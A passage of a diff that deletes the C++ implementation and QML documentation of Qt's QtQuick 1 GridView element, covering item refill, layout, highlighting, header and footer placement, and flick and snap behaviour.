break; - --visibleIndex; - item->setPosition(colPos, rowPos); - visibleItems.prepend(item); - colPos -= colSize(); - colNum--; - if (colPos < 0) { - colPos = colSize() * (columns - 1); - colNum = columns-1; - rowPos -= rowSize(); - } - changed = true; - if (doBuffer) // never buffer more than one item per frame - break; - } - - if (!lazyRelease || !changed || deferredRelease) { // avoid destroying items in the same frame that we create - while (visibleItems.count() > 1 - && (item = visibleItems.first()) - && item->rowPos()+rowSize()-1 < bufferFrom - rowSize()*(item->colPos()/colSize()+1)/(columns+1)) { - if (item->attached->delayRemove()) - break; -// qDebug() << "refill: remove first" << visibleIndex << "top end pos" << item->endRowPos(); - if (item->index != -1) - visibleIndex++; - visibleItems.removeFirst(); - releaseItem(item); - changed = true; - } - while (visibleItems.count() > 1 - && (item = visibleItems.last()) - && item->rowPos() > bufferTo + rowSize()*(columns - item->colPos()/colSize())/(columns+1)) { - if (item->attached->delayRemove()) - break; -// qDebug() << "refill: remove last" << visibleIndex+visibleItems.count()-1; - visibleItems.removeLast(); - releaseItem(item); - changed = true; - } - deferredRelease = false; - } else { - deferredRelease = true; - } - if (changed) { - if (header) - updateHeader(); - if (footer) - updateFooter(); - if (flow == QDeclarative1GridView::LeftToRight) - q->setContentHeight(endPosition() - startPosition()); - else - q->setContentWidth(endPosition() - startPosition()); - } else if (!doBuffer && buffer && bufferMode != NoBuffer) { - refill(from, to, true); - } - lazyRelease = false; -} - -void QDeclarative1GridViewPrivate::updateGrid() -{ - Q_Q(QDeclarative1GridView); - - columns = (int)qMax((flow == QDeclarative1GridView::LeftToRight ? q->width() : q->height()) / colSize(), qreal(1.)); - if (isValid()) { - if (flow == QDeclarative1GridView::LeftToRight) - q->setContentHeight(endPosition() - startPosition()); - else - q->setContentWidth(lastPosition() - originPosition()); - } -} - -void QDeclarative1GridViewPrivate::scheduleLayout() -{ - Q_Q(QDeclarative1GridView); - if (!layoutScheduled) { - layoutScheduled = true; - QCoreApplication::postEvent(q, new QEvent(QEvent::User), Qt::HighEventPriority); - } -} - -void QDeclarative1GridViewPrivate::layout() -{ - Q_Q(QDeclarative1GridView); - layoutScheduled = false; - if (!isValid() && !visibleItems.count()) { - clear(); - return; - } - if (visibleItems.count()) { - qreal rowPos = visibleItems.first()->rowPos(); - qreal colPos = visibleItems.first()->colPos(); - int col = visibleIndex % columns; - if (colPos != col * colSize()) { - colPos = col * colSize(); - visibleItems.first()->setPosition(colPos, rowPos); - } - for (int i = 1; i < visibleItems.count(); ++i) { - FxGridItem1 *item = visibleItems.at(i); - colPos += colSize(); - if (colPos > colSize() * (columns-1)) { - colPos = 0; - rowPos += rowSize(); - } - item->setPosition(colPos, rowPos); - } - } - if (header) - updateHeader(); - if (footer) - updateFooter(); - q->refill(); - updateHighlight(); - moveReason = Other; - if (flow == QDeclarative1GridView::LeftToRight) { - q->setContentHeight(endPosition() - startPosition()); - fixupY(); - } else { - q->setContentWidth(endPosition() - startPosition()); - fixupX(); - } - updateUnrequestedPositions(); -} - -void QDeclarative1GridViewPrivate::updateUnrequestedIndexes() -{ - Q_Q(QDeclarative1GridView); - QHash::iterator it; - for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it) - *it = model->indexOf(it.key(), q); -} - -void QDeclarative1GridViewPrivate::updateUnrequestedPositions() -{ - QHash::const_iterator it; - for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it) { - QDeclarativeItem *item = it.key(); - if (flow == QDeclarative1GridView::LeftToRight) { - item->setPos(QPointF(colPosAt(*it), rowPosAt(*it))); - } else { - if (isRightToLeftTopToBottom()) - item->setPos(QPointF(-rowPosAt(*it)-item->width(), colPosAt(*it))); - else - item->setPos(QPointF(rowPosAt(*it), colPosAt(*it))); - } - } -} - -void QDeclarative1GridViewPrivate::updateTrackedItem() -{ - Q_Q(QDeclarative1GridView); - FxGridItem1 *item = currentItem; - if (highlight) - item = highlight; - - if (trackedItem && item != trackedItem) { - QObject::disconnect(trackedItem->item, SIGNAL(yChanged()), q, SLOT(trackedPositionChanged())); - QObject::disconnect(trackedItem->item, SIGNAL(xChanged()), q, SLOT(trackedPositionChanged())); - trackedItem = 0; - } - - if (!trackedItem && item) { - trackedItem = item; - QObject::connect(trackedItem->item, SIGNAL(yChanged()), q, SLOT(trackedPositionChanged())); - QObject::connect(trackedItem->item, SIGNAL(xChanged()), q, SLOT(trackedPositionChanged())); - } - if (trackedItem) - q->trackedPositionChanged(); -} - -void QDeclarative1GridViewPrivate::createHighlight() -{ - Q_Q(QDeclarative1GridView); - bool changed = false; - if (highlight) { - if (trackedItem == highlight) - trackedItem = 0; - if (highlight->item->scene()) - highlight->item->scene()->removeItem(highlight->item); - highlight->item->deleteLater(); - delete highlight; - highlight = 0; - delete highlightXAnimator; - delete highlightYAnimator; - highlightXAnimator = 0; - highlightYAnimator = 0; - changed = true; - } - - if (currentItem) { - QDeclarativeItem *item = 0; - if (highlightComponent) { - QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = highlightComponent->create(highlightContext); - if (nobj) { - QDeclarative_setParent_noEvent(highlightContext, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete highlightContext; - } - } else { - item = new QDeclarativeItem; - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - } - if (item) { - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - highlight = new FxGridItem1(item, q); - if (currentItem && autoHighlight) - highlight->setPosition(currentItem->colPos(), currentItem->rowPos()); - highlightXAnimator = new QSmoothedAnimation_1(q); - highlightXAnimator->target = QDeclarativeProperty(highlight->item, QLatin1String("x")); - highlightXAnimator->userDuration = highlightMoveDuration; - highlightYAnimator = new QSmoothedAnimation_1(q); - highlightYAnimator->target = QDeclarativeProperty(highlight->item, QLatin1String("y")); - highlightYAnimator->userDuration = highlightMoveDuration; - if (autoHighlight) { - highlightXAnimator->restart(); - highlightYAnimator->restart(); - } - changed = true; - } - } - if (changed) - emit q->highlightItemChanged(); -} - -void QDeclarative1GridViewPrivate::updateHighlight() -{ - if ((!currentItem && highlight) || (currentItem && !highlight)) - createHighlight(); - if (currentItem && autoHighlight && highlight && !hData.moving && !vData.moving) { - // auto-update highlight - highlightXAnimator->to = currentItem->item->x(); - highlightYAnimator->to = currentItem->item->y(); - highlight->item->setWidth(currentItem->item->width()); - highlight->item->setHeight(currentItem->item->height()); - highlightXAnimator->restart(); - highlightYAnimator->restart(); - } - updateTrackedItem(); -} - -void QDeclarative1GridViewPrivate::updateCurrent(int modelIndex) -{ - Q_Q(QDeclarative1GridView); - if (!q->isComponentComplete() || !isValid() || modelIndex < 0 || modelIndex >= model->count()) { - if (currentItem) { - currentItem->attached->setIsCurrentItem(false); - releaseItem(currentItem); - currentItem = 0; - currentIndex = modelIndex; - emit q->currentIndexChanged(); - updateHighlight(); - } else if (currentIndex != modelIndex) { - currentIndex = modelIndex; - emit q->currentIndexChanged(); - } - return; - } - - if (currentItem && currentIndex == modelIndex) { - updateHighlight(); - return; - } - - FxGridItem1 *oldCurrentItem = currentItem; - currentIndex = modelIndex; - currentItem = createItem(modelIndex); - fixCurrentVisibility = true; - if (oldCurrentItem && (!currentItem || oldCurrentItem->item != currentItem->item)) - oldCurrentItem->attached->setIsCurrentItem(false); - if (currentItem) { - currentItem->setPosition(colPosAt(modelIndex), rowPosAt(modelIndex)); - currentItem->item->setFocus(true); - currentItem->attached->setIsCurrentItem(true); - } - updateHighlight(); - emit q->currentIndexChanged(); - releaseItem(oldCurrentItem); -} - -void QDeclarative1GridViewPrivate::updateFooter() -{ - Q_Q(QDeclarative1GridView); - if (!footer && footerComponent) { - QDeclarativeItem *item = 0; - QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = footerComponent->create(context); - if (nobj) { - QDeclarative_setParent_noEvent(context, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete context; - } - if (item) { - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - item->setZValue(1); - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - footer = new FxGridItem1(item, q); - } - } - if (footer) { - qreal colOffset = 0; - qreal rowOffset; - if (isRightToLeftTopToBottom()) { - rowOffset = footer->item->width()-cellWidth; - } else { - rowOffset = 0; - if (q->effectiveLayoutDirection() == Qt::RightToLeft) - colOffset = footer->item->width()-cellWidth; - } - if (visibleItems.count()) { - qreal endPos = lastPosition(); - if (lastVisibleIndex() == model->count()-1) { - footer->setPosition(colOffset, endPos + rowOffset); - } else { - qreal visiblePos = isRightToLeftTopToBottom() ? -position() : position() + size(); - if (endPos <= visiblePos || footer->endRowPos() < endPos + rowOffset) - footer->setPosition(colOffset, endPos + rowOffset); - } - } else { - qreal endPos = 0; - if (header) { - endPos += flow == QDeclarative1GridView::LeftToRight ? header->item->height() : header->item->width(); - } - footer->setPosition(colOffset, endPos); - } - } -} - -void QDeclarative1GridViewPrivate::updateHeader() -{ - Q_Q(QDeclarative1GridView); - if (!header && headerComponent) { - QDeclarativeItem *item = 0; - QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = headerComponent->create(context); - if (nobj) { - QDeclarative_setParent_noEvent(context, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete context; - } - if (item) { - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - item->setZValue(1); - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - header = new FxGridItem1(item, q); - } - } - if (header) { - qreal colOffset = 0; - qreal rowOffset; - if (isRightToLeftTopToBottom()) { - rowOffset = -cellWidth; - } else { - rowOffset = -headerSize(); - if (q->effectiveLayoutDirection() == Qt::RightToLeft) - colOffset = header->item->width()-cellWidth; - } - if (visibleItems.count()) { - qreal startPos = originPosition(); - if (visibleIndex == 0) { - header->setPosition(colOffset, startPos + rowOffset); - } else { - qreal tempPos = isRightToLeftTopToBottom() ? -position()-size() : position(); - qreal headerPos = isRightToLeftTopToBottom() ? header->rowPos() + cellWidth - headerSize() : header->rowPos(); - if (tempPos <= startPos || headerPos > startPos + rowOffset) - header->setPosition(colOffset, startPos + rowOffset); - } - } else { - header->setPosition(colOffset, 0); - } - } -} - -void QDeclarative1GridViewPrivate::fixupPosition() -{ - moveReason = Other; - if (flow == QDeclarative1GridView::LeftToRight) - fixupY(); - else - fixupX(); -} - -void QDeclarative1GridViewPrivate::fixup(AxisData &data, qreal minExtent, qreal maxExtent) -{ - if ((flow == QDeclarative1GridView::TopToBottom && &data == &vData) - || (flow == QDeclarative1GridView::LeftToRight && &data == &hData)) - return; - - fixupMode = moveReason == Mouse ? fixupMode : Immediate; - - qreal highlightStart; - qreal highlightEnd; - qreal viewPos; - if (isRightToLeftTopToBottom()) { - // Handle Right-To-Left exceptions - viewPos = -position()-size(); - highlightStart = highlightRangeStartValid ? size()-highlightRangeEnd : highlightRangeStart; - highlightEnd = highlightRangeEndValid ? size()-highlightRangeStart : highlightRangeEnd; - } else { - viewPos = position(); - highlightStart = highlightRangeStart; - highlightEnd = highlightRangeEnd; - } - - bool strictHighlightRange = haveHighlightRange && highlightRange == QDeclarative1GridView::StrictlyEnforceRange; - - if (snapMode != QDeclarative1GridView::NoSnap) { - qreal tempPosition = isRightToLeftTopToBottom() ? -position()-size() : position(); - if (snapMode == QDeclarative1GridView::SnapOneRow && moveReason == Mouse) { - // if we've been dragged < rowSize()/2 then bias towards the next row - qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset); - qreal bias = 0; - if (data.velocity > 0 && dist > QML_FLICK_SNAPONETHRESHOLD && dist < rowSize()/2) - bias = rowSize()/2; - else if (data.velocity < 0 && dist < -QML_FLICK_SNAPONETHRESHOLD && dist > -rowSize()/2) - bias = -rowSize()/2; - if (isRightToLeftTopToBottom()) - bias = -bias; - tempPosition -= bias; - } - FxGridItem1 *topItem = snapItemAt(tempPosition+highlightStart); - if (!topItem && strictHighlightRange && currentItem) { - // StrictlyEnforceRange always keeps an item in range - updateHighlight(); - topItem = currentItem; - } - FxGridItem1 *bottomItem = snapItemAt(tempPosition+highlightEnd); - if (!bottomItem && strictHighlightRange && currentItem) { - // StrictlyEnforceRange always keeps an item in range - updateHighlight(); - bottomItem = currentItem; - } - qreal pos; - bool isInBounds = -position() > maxExtent && -position() <= minExtent; - if (topItem && (isInBounds || strictHighlightRange)) { - if (topItem->index == 0 && header && tempPosition+highlightStart < header->rowPos()+headerSize()/2 && !strictHighlightRange) { - pos = isRightToLeftTopToBottom() ? - header->rowPos() + highlightStart - size() : header->rowPos() - highlightStart; - } else { - if (isRightToLeftTopToBottom()) - pos = qMax(qMin(-topItem->rowPos() + highlightStart - size(), -maxExtent), -minExtent); - else - pos = qMax(qMin(topItem->rowPos() - highlightStart, -maxExtent), -minExtent); - } - } else if (bottomItem && isInBounds) { - if (isRightToLeftTopToBottom()) - pos = qMax(qMin(-bottomItem->rowPos() + highlightEnd - size(), -maxExtent), -minExtent); - else - pos = qMax(qMin(bottomItem->rowPos() - highlightEnd, -maxExtent), -minExtent); - } else { - QDeclarative1FlickablePrivate::fixup(data, minExtent, maxExtent); - return; - } - qreal dist = qAbs(data.move + pos); - if (dist > 0) { - timeline.reset(data.move); - if (fixupMode != Immediate) { - timeline.move(data.move, -pos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2); - data.fixingUp = true; - } else { - timeline.set(data.move, -pos); - } - vTime = timeline.time(); - } - } else if (haveHighlightRange && highlightRange == QDeclarative1GridView::StrictlyEnforceRange) { - if (currentItem) { - updateHighlight(); - qreal pos = currentItem->rowPos(); - if (viewPos < pos + rowSize() - highlightEnd) - viewPos = pos + rowSize() - highlightEnd; - if (viewPos > pos - highlightStart) - viewPos = pos - highlightStart; - if (isRightToLeftTopToBottom()) - viewPos = -viewPos-size(); - timeline.reset(data.move); - if (viewPos != position()) { - if (fixupMode != Immediate) { - timeline.move(data.move, -viewPos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2); - data.fixingUp = true; - } else { - timeline.set(data.move, -viewPos); - } - } - vTime = timeline.time(); - } - } else { - QDeclarative1FlickablePrivate::fixup(data, minExtent, maxExtent); - } - data.inOvershoot = false; - fixupMode = Normal; -} - -void QDeclarative1GridViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, - QDeclarative1TimeLineCallback::Callback fixupCallback, qreal velocity) -{ - Q_Q(QDeclarative1GridView); - data.fixingUp = false; - moveReason = Mouse; - if ((!haveHighlightRange || highlightRange != QDeclarative1GridView::StrictlyEnforceRange) - && snapMode == QDeclarative1GridView::NoSnap) { - QDeclarative1FlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); - return; - } - qreal maxDistance = 0; - qreal dataValue = isRightToLeftTopToBottom() ? -data.move.value()+size() : data.move.value(); - // -ve velocity means list is moving up/left - if (velocity > 0) { - if (data.move.value() < minExtent) { - if (snapMode == QDeclarative1GridView::SnapOneRow) { - // if we've been dragged < averageSize/2 then bias towards the next item - qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset); - qreal bias = dist < rowSize()/2 ? rowSize()/2 : 0; - if (isRightToLeftTopToBottom()) - bias = -bias; - data.flickTarget = -snapPosAt(-dataValue - bias); - maxDistance = qAbs(data.flickTarget - data.move.value()); - velocity = maxVelocity; - } else { - maxDistance = qAbs(minExtent - data.move.value()); - } - } - if (snapMode == QDeclarative1GridView::NoSnap && highlightRange != QDeclarative1GridView::StrictlyEnforceRange) - data.flickTarget = minExtent; - } else { - if (data.move.value() > maxExtent) { - if (snapMode == QDeclarative1GridView::SnapOneRow) { - // if we've been dragged < averageSize/2 then bias towards the next item - qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset); - qreal bias = -dist < rowSize()/2 ? rowSize()/2 : 0; - if (isRightToLeftTopToBottom()) - bias = -bias; - data.flickTarget = -snapPosAt(-dataValue + bias); - maxDistance = qAbs(data.flickTarget - data.move.value()); - velocity = -maxVelocity; - } else { - maxDistance = qAbs(maxExtent - data.move.value()); - } - } - if (snapMode == QDeclarative1GridView::NoSnap && highlightRange != QDeclarative1GridView::StrictlyEnforceRange) - data.flickTarget = maxExtent; - } - - bool overShoot = boundsBehavior == QDeclarative1Flickable::DragAndOvershootBounds; - - if (maxDistance > 0 || overShoot) { - // This mode requires the grid to stop exactly on a row boundary. - qreal v = velocity; - if (maxVelocity != -1 && maxVelocity < qAbs(v)) { - if (v < 0) - v = -maxVelocity; - else - v = maxVelocity; - } - qreal accel = deceleration; - qreal v2 = v * v; - qreal overshootDist = 0.0; - if ((maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) || snapMode == QDeclarative1GridView::SnapOneRow) { - // + rowSize()/4 to encourage moving at least one item in the flick direction - qreal dist = v2 / (accel * 2.0) + rowSize()/4; - dist = qMin(dist, maxDistance); - if (v > 0) - dist = -dist; - if (snapMode != QDeclarative1GridView::SnapOneRow) { - qreal distTemp = isRightToLeftTopToBottom() ? -dist : dist; - data.flickTarget = -snapPosAt(-dataValue + distTemp); - } - data.flickTarget = isRightToLeftTopToBottom() ? -data.flickTarget+size() : data.flickTarget; - if (overShoot) { - if (data.flickTarget >= minExtent) { - overshootDist = overShootDistance(vSize); - data.flickTarget += overshootDist; - } else if (data.flickTarget <= maxExtent) { - overshootDist = overShootDistance(vSize); - data.flickTarget -= overshootDist; - } - } - qreal adjDist = -data.flickTarget + data.move.value(); - if (qAbs(adjDist) > qAbs(dist)) { - // Prevent painfully slow flicking - adjust velocity to suit flickDeceleration - qreal adjv2 = accel * 2.0f * qAbs(adjDist); - if (adjv2 > v2) { - v2 = adjv2; - v = qSqrt(v2); - if (dist > 0) - v = -v; - } - } - dist = adjDist; - accel = v2 / (2.0f * qAbs(dist)); - } else { - data.flickTarget = velocity > 0 ? minExtent : maxExtent; - overshootDist = overShoot ? overShootDistance(vSize) : 0; - } - timeline.reset(data.move); - timeline.accel(data.move, v, accel, maxDistance + overshootDist); - timeline.callback(QDeclarative1TimeLineCallback(&data.move, fixupCallback, this)); - if (!hData.flicking && q->xflick()) { - hData.flicking = true; - emit q->flickingChanged(); - emit q->flickingHorizontallyChanged(); - emit q->flickStarted(); - } - if (!vData.flicking && q->yflick()) { - vData.flicking = true; - emit q->flickingChanged(); - emit q->flickingVerticallyChanged(); - emit q->flickStarted(); - } - } else { - timeline.reset(data.move); - fixup(data, minExtent, maxExtent); - } -} - - -//---------------------------------------------------------------------------- - -/*! - \qmlclass GridView QDeclarative1GridView - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-view-elements - - \inherits Flickable - \brief The GridView item provides a grid view of items provided by a model. - - A GridView displays data from models created from built-in QML elements like ListModel - and XmlListModel, or custom model classes defined in C++ that inherit from - QAbstractListModel. - - A GridView has a \l model, which defines the data to be displayed, and - a \l delegate, which defines how the data should be displayed. Items in a - GridView are laid out horizontally or vertically. Grid views are inherently flickable - as GridView inherits from \l Flickable. - - \section1 Example Usage - - The following example shows the definition of a simple list model defined - in a file called \c ContactModel.qml: - - \snippet doc/src/snippets/qtquick1/gridview/ContactModel.qml 0 - - \div {class="float-right"} - \inlineimage gridview-simple.png - \enddiv - - This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules} - for more information about creating reusable components like this. - - Another component can display this model data in a GridView, as in the following - example, which creates a \c ContactModel component for its model, and a \l Column element - (containing \l Image and \l Text elements) for its delegate. - - \clearfloat - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml import - \codeline - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml classdocs simple - - \div {class="float-right"} - \inlineimage gridview-highlight.png - \enddiv - - The view will create a new delegate for each item in the model. Note that the delegate - is able to access the model's \c name and \c portrait data directly. - - An improved grid view is shown below. The delegate is visually improved and is moved - into a separate \c contactDelegate component. - - \clearfloat - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml classdocs advanced - - The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property, - and \c focus is set to \c true to enable keyboard navigation for the grid view. - The grid view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details). - - Delegates are instantiated as needed and may be destroyed at any time. - State should \e never be stored in a delegate. - - GridView attaches a number of properties to the root item of the delegate, for example - \c {GridView.isCurrentItem}. In the following example, the root delegate item can access - this attached property directly as \c GridView.isCurrentItem, while the child - \c contactInfo object must refer to this property as \c wrapper.GridView.isCurrentItem. - - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml isCurrentItem - - \note Views do not set the \l{Item::}{clip} property automatically. - If the view is not clipped by another item or the screen, it will be necessary - to set this property to true in order to clip the items that are partially or - fully outside the view. - - \sa {declarative/modelviews/gridview}{GridView example} -*/ -QDeclarative1GridView::QDeclarative1GridView(QDeclarativeItem *parent) - : QDeclarative1Flickable(*(new QDeclarative1GridViewPrivate), parent) -{ - Q_D(QDeclarative1GridView); - d->init(); -} - -QDeclarative1GridView::~QDeclarative1GridView() -{ - Q_D(QDeclarative1GridView); - d->clear(); - if (d->ownModel) - delete d->model; - delete d->header; - delete d->footer; -} - -/*! - \qmlattachedproperty bool GridView::isCurrentItem - This attached property is true if this delegate is the current item; otherwise false. - - It is attached to each instance of the delegate. -*/ - -/*! - \qmlattachedproperty GridView GridView::view - This attached property holds the view that manages this delegate instance. - - It is attached to each instance of the delegate. - - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml isCurrentItem -*/ - -/*! - \qmlattachedproperty bool GridView::delayRemove - This attached property holds whether the delegate may be destroyed. - - It is attached to each instance of the delegate. - - It is sometimes necessary to delay the destruction of an item - until an animation completes. - - The example below ensures that the animation completes before - the item is removed from the grid. - - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml delayRemove -*/ - -/*! - \qmlattachedsignal QtQuick1::GridView::onAdd() - This attached handler is called immediately after an item is added to the view. -*/ - -/*! - \qmlattachedsignal QtQuick1::GridView::onRemove() - This attached handler is called immediately before an item is removed from the view. -*/ - - -/*! - \qmlproperty model QtQuick1::GridView::model - This property holds the model providing data for the grid. - - The model provides the set of data that is used to create the items - in the view. Models can be created directly in QML using \l ListModel, \l XmlListModel - or \l VisualItemModel, or provided by C++ model classes. If a C++ model class is - used, it must be a subclass of \l QAbstractItemModel or a simple list. - - \sa {qmlmodels}{Data Models} -*/ -QVariant QDeclarative1GridView::model() const -{ - Q_D(const QDeclarative1GridView); - return d->modelVariant; -} - -// For internal use -int QDeclarative1GridView::modelCount() const -{ - Q_D(const QDeclarative1GridView); - return d->model->count(); -} - -void QDeclarative1GridView::setModel(const QVariant &model) -{ - Q_D(QDeclarative1GridView); - if (d->modelVariant == model) - return; - if (d->model) { - disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*))); - } - d->clear(); - d->modelVariant = model; - QObject *object = qvariant_cast(model); - QDeclarative1VisualModel *vim = 0; - if (object && (vim = qobject_cast(object))) { - if (d->ownModel) { - delete d->model; - d->ownModel = false; - } - d->model = vim; - } else { - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this), this); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - dataModel->setModel(model); - } - if (d->model) { - d->bufferMode = QDeclarative1GridViewPrivate::BufferBefore | QDeclarative1GridViewPrivate::BufferAfter; - if (isComponentComplete()) { - refill(); - if ((d->currentIndex >= d->model->count() || d->currentIndex < 0) && !d->currentIndexCleared) { - setCurrentIndex(0); - } else { - d->moveReason = QDeclarative1GridViewPrivate::SetIndex; - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos()); - d->updateTrackedItem(); - } - d->moveReason = QDeclarative1GridViewPrivate::Other; - } - } - connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*))); - emit countChanged(); - } - emit modelChanged(); -} - -/*! - \qmlproperty Component QtQuick1::GridView::delegate - - The delegate provides a template defining each item instantiated by the view. - The index is exposed as an accessible \c index property. Properties of the - model are also available depending upon the type of \l {qmlmodels}{Data Model}. - - The number of elements in the delegate has a direct effect on the - flicking performance of the view. If at all possible, place functionality - that is not needed for the normal display of the delegate in a \l Loader which - can load additional elements when needed. - - The GridView will layout the items based on the size of the root item - in the delegate. - - \note Delegates are instantiated as needed and may be destroyed at any time. - State should \e never be stored in a delegate. -*/ -QDeclarativeComponent *QDeclarative1GridView::delegate() const -{ - Q_D(const QDeclarative1GridView); - if (d->model) { - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - return dataModel->delegate(); - } - - return 0; -} - -void QDeclarative1GridView::setDelegate(QDeclarativeComponent *delegate) -{ - Q_D(QDeclarative1GridView); - if (delegate == this->delegate()) - return; - - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this)); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) { - int oldCount = dataModel->count(); - dataModel->setDelegate(delegate); - if (isComponentComplete()) { - for (int i = 0; i < d->visibleItems.count(); ++i) - d->releaseItem(d->visibleItems.at(i)); - d->visibleItems.clear(); - d->releaseItem(d->currentItem); - d->currentItem = 0; - refill(); - d->moveReason = QDeclarative1GridViewPrivate::SetIndex; - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos()); - d->updateTrackedItem(); - } - d->moveReason = QDeclarative1GridViewPrivate::Other; - } - if (oldCount != dataModel->count()) - emit countChanged(); - emit delegateChanged(); - } -} - -/*! - \qmlproperty int QtQuick1::GridView::currentIndex - \qmlproperty Item QtQuick1::GridView::currentItem - - The \c currentIndex property holds the index of the current item, and - \c currentItem holds the current item. Setting the currentIndex to -1 - will clear the highlight and set currentItem to null. - - If highlightFollowsCurrentItem is \c true, setting either of these - properties will smoothly scroll the GridView so that the current - item becomes visible. - - Note that the position of the current item - may only be approximate until it becomes visible in the view. -*/ -int QDeclarative1GridView::currentIndex() const -{ - Q_D(const QDeclarative1GridView); - return d->currentIndex; -} - -void QDeclarative1GridView::setCurrentIndex(int index) -{ - Q_D(QDeclarative1GridView); - if (d->requestedIndex >= 0) // currently creating item - return; - d->currentIndexCleared = (index == -1); - if (index == d->currentIndex) - return; - if (isComponentComplete() && d->isValid()) { - if (d->layoutScheduled) - d->layout(); - d->moveReason = QDeclarative1GridViewPrivate::SetIndex; - d->updateCurrent(index); - } else { - d->currentIndex = index; - emit currentIndexChanged(); - } -} - -QDeclarativeItem *QDeclarative1GridView::currentItem() -{ - Q_D(QDeclarative1GridView); - if (!d->currentItem) - return 0; - return d->currentItem->item; -} - -/*! - \qmlproperty Item QtQuick1::GridView::highlightItem - - This holds the highlight item created from the \l highlight component. - - The highlightItem is managed by the view unless - \l highlightFollowsCurrentItem is set to false. - - \sa highlight, highlightFollowsCurrentItem -*/ -QDeclarativeItem *QDeclarative1GridView::highlightItem() -{ - Q_D(QDeclarative1GridView); - if (!d->highlight) - return 0; - return d->highlight->item; -} - -/*! - \qmlproperty int QtQuick1::GridView::count - This property holds the number of items in the view. -*/ -int QDeclarative1GridView::count() const -{ - Q_D(const QDeclarative1GridView); - if (d->model) - return d->model->count(); - return 0; -} - -/*! - \qmlproperty Component QtQuick1::GridView::highlight - This property holds the component to use as the highlight. - - An instance of the highlight component is created for each view. - The geometry of the resulting component instance will be managed by the view - so as to stay with the current item, unless the highlightFollowsCurrentItem property is false. - - \sa highlightItem, highlightFollowsCurrentItem -*/ -QDeclarativeComponent *QDeclarative1GridView::highlight() const -{ - Q_D(const QDeclarative1GridView); - return d->highlightComponent; -} - -void QDeclarative1GridView::setHighlight(QDeclarativeComponent *highlight) -{ - Q_D(QDeclarative1GridView); - if (highlight != d->highlightComponent) { - d->highlightComponent = highlight; - d->updateCurrent(d->currentIndex); - emit highlightChanged(); - } -} - -/*! - \qmlproperty bool QtQuick1::GridView::highlightFollowsCurrentItem - This property sets whether the highlight is managed by the view. - - If this property is true (the default value), the highlight is moved smoothly - to follow the current item. Otherwise, the - highlight is not moved by the view, and any movement must be implemented - by the highlight. - - Here is a highlight with its motion defined by a \l {SpringAnimation} item: - - \snippet doc/src/snippets/qtquick1/gridview/gridview.qml highlightFollowsCurrentItem -*/ -bool QDeclarative1GridView::highlightFollowsCurrentItem() const 